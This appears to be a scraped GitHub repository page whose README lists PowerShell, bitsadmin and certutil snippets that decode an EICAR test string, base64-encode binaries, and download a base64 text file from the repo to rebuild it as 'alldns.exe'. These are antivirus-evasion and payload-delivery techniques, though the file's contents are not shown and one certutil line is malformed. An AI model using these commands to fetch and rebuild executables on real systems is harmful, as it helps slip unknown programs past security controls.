Skip to content

xkill/test

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

24 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

test

test

$eicarB64 = 'WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCoK'
[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($eicarB64))
$text_file = .\Downloads\1.bin.txt
$bin_file = .\Downloads\1.bin

# binary -> b64
[io.file]::WriteAllText($text_file, [Convert]::ToBase64String([io.file]::ReadAllBytes($bin_file)))
$text_file = .\Downloads\1.bin.txt
$bin_file = .\Downloads\1.bin

# b64 -> binary
[io.file]::WriteAllBytes($bin_file, [System.Convert]::FromBase64String([io.file]::ReadAllText($text_file)))
Invoke-WebRequest https://github.com/xkill/test/raw/master/alldudns.txt -OutFile alldns.txt
[io.file]::WriteAllBytes('alldns.exe', [System.Convert]::FromBase64String([io.file]::ReadAllText('alldns.txt')))
[IO.File]::WriteAllBytes('alldns.exe', [System.Convert]::FromBase64String((Invoke-WebRequest 'https://github.com/xkill/test/raw/master/alldudns.txt').Content))
#bitsadmin /transfer type download /uri: https://github.com/xkill/test/raw/master/alldudns.txt /destination:%USERPROFILE%\Downloads\alldns.txt

bitsadmin /create 1
bitsadmin /addfile 1 https://github.com/xkill/test/raw/master/alldudns.txt %USERPROFILE%\Downloads\alldns.txt
bitsadmin /RESUME 1
bitsadmin /complete 1
bitsadmin /reset

certutil -decode [URL] %USERPROFILE%\Downloads\alldns.txt %USERPROFILE%\Downloads\alldns.exe

Releases

No releases published

Packages

No packages published